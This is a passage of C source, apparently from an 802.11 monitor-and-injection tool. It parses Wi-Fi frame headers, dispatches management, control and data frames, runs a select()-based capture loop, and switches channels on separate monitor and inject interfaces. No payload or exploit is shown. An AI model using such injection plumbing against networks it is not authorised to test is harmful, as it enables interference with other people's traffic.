wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS,
wh->i_fc[1] & IEEE80211_FC1_DIR_TODS,
wh->i_addr1[0], wh->i_addr1[1], wh->i_addr1[2], wh->i_addr1[3], wh->i_addr1[4], wh->i_addr1[5],
wh->i_addr2[0], wh->i_addr2[1], wh->i_addr2[2], wh->i_addr2[3], wh->i_addr2[4], wh->i_addr2[5],
wh->i_addr3[0], wh->i_addr3[1], wh->i_addr3[2], wh->i_addr3[3], wh->i_addr3[4], wh->i_addr3[5]);
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
case IEEE80211_FC0_TYPE_MGT: // management frame
logger(DBG, "Management frame");
dot11_mgt_process(ctx, rxi, wh, len);
break;
case IEEE80211_FC0_TYPE_CTL: // control frame
logger(DBG, "Control frame");
dot11_ctl_process(ctx, rxi, wh, len);
break;
case IEEE80211_FC0_TYPE_DATA: //data frame
logger(DBG, "Data frame");
dot11_data_process(ctx, rxi, wh, len, 0);
break;
default:
logger(DBG, "Unknown frame type: 0x%02X", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
}
}
// Man packet read loop.
void *loop_thread(void *arg)
{
fd_set rfds;
int retval;
int caplen;
u_char pkt[MAX_PACKET_LENGTH];
struct ctx *ctx = (struct ctx *)arg;
struct rx_info *rxi;
rxi = malloc(sizeof(struct rx_info));
logger(DBG, "Main loop started");
while(1) {
if(dead) {
logger(DBG, "Got dead! Loop thread is closing now");
return NULL;
}
bzero(rxi, sizeof(struct rx_info));
FD_ZERO (&rfds);
FD_SET (wi_fd(ctx->wi_mon), &rfds);
retval = select (FD_SETSIZE, &rfds, NULL, NULL, NULL);
if (retval == -1) {
logger(DBG, "select() error");
} else if (retval) {
if (FD_ISSET (wi_fd(ctx->wi_mon), &rfds)) {
caplen = wi_read (ctx->wi_mon, pkt, MAX_PACKET_LENGTH, rxi);
if (caplen == -1) {
logger(DBG, "caplen == -1, wi_read return no packets");
continue;
}
pthread_mutex_lock (&(ctx->mutex));
dot11_process(pkt, caplen, rxi, ctx);
pthread_mutex_unlock (&(ctx->mutex));
}
}
}
return NULL;
}
int channel_change(struct ctx *ctx, int channel)
{
pthread_mutex_lock (&(ctx->mutex));
if(wi_set_channel(ctx->wi_mon, channel) == -1) {
logger(WARN, "Fail to set monitor interface channel to %d", channel);
pthread_mutex_unlock (&(ctx->mutex));
return 0;
}
// No need to change channel twice if mon == inj
if((wi_fd(ctx->wi_mon) != wi_fd(ctx->wi_inj)) && wi_set_channel(ctx->wi_inj, channel) == -1) {
logger(WARN, "Fail to set inject interface channel to %d", channel);
pthread_mutex_unlock (&(ctx->mutex));
return 0;
}
pthread_mutex_unlock (&(ctx->mutex));
return 1;
}
// Channel switch thread
void *channel_thread(void *arg)
{
struct ctx *ctx = (struct ctx *)arg;